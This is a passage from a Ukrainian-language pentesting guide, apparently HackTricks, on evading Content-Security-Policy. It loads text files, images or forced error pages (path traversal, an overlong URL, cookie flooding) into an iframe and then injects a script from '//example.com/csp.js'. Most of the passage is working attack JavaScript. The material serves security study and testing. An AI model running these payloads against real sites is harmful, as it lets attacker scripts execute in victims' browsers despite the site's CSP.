Конфігурація, така як: ``` Content-Security-Policy: default-src 'self' 'unsafe-inline'; ``` Забороняє використання будь-яких функцій, які виконують код, переданий як рядок. Наприклад: `eval, setTimeout, setInterval` будуть заблоковані через налаштування `unsafe-eval`. Будь-який контент з зовнішніх джерел також заблокований, включаючи зображення, CSS, WebSockets і, особливо, JS. ### Через текст та зображення Спостерігається, що сучасні браузери перетворюють зображення та тексти в HTML для покращення їх відображення (наприклад, налаштування фону, центрування тощо). Внаслідок цього, якщо зображення або текстовий файл, такий як `favicon.ico` або `robots.txt`, відкривається через `iframe`, він відображається як HTML. Варто зазначити, що ці сторінки часто не мають заголовків CSP і можуть не включати X-Frame-Options, що дозволяє виконання довільного JavaScript з них: ```javascript frame = document.createElement("iframe") frame.src = "/css/bootstrap.min.css" document.body.appendChild(frame) script = document.createElement("script") script.src = "//example.com/csp.js" window.frames[0].document.head.appendChild(script) ``` ### Через помилки Аналогічно, відповіді з помилками, такі як текстові файли або зображення, зазвичай приходять без заголовків CSP і можуть не містити X-Frame-Options. Помилки можуть бути викликані для завантаження в iframe, що дозволяє виконати наступні дії: ```javascript // Inducing an nginx error frame = document.createElement("iframe") frame.src = "/%2e%2e%2f" document.body.appendChild(frame) // Triggering an error with a long URL frame = document.createElement("iframe") frame.src = "/" + "A".repeat(20000) document.body.appendChild(frame) // Generating an error via extensive cookies for (var i = 0; i < 5; i++) { document.cookie = i + "=" + "a".repeat(4000) } frame = document.createElement("iframe") frame.src = "/" document.body.appendChild(frame) // Removal of cookies is crucial post-execution for (var i = 0; i < 5; i++) { document.cookie = i + "=" } ``` Після активації будь-якого з наведених сценаріїв, виконання JavaScript в межах iframe можливе наступним чином: ```javascript script = document.createElement("script") script.src = "//example.com/csp.js" window.frames[0].document.head.appendChild(script) ``` ## Посилання - [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) {{#include ../../banners/hacktricks-training.md}}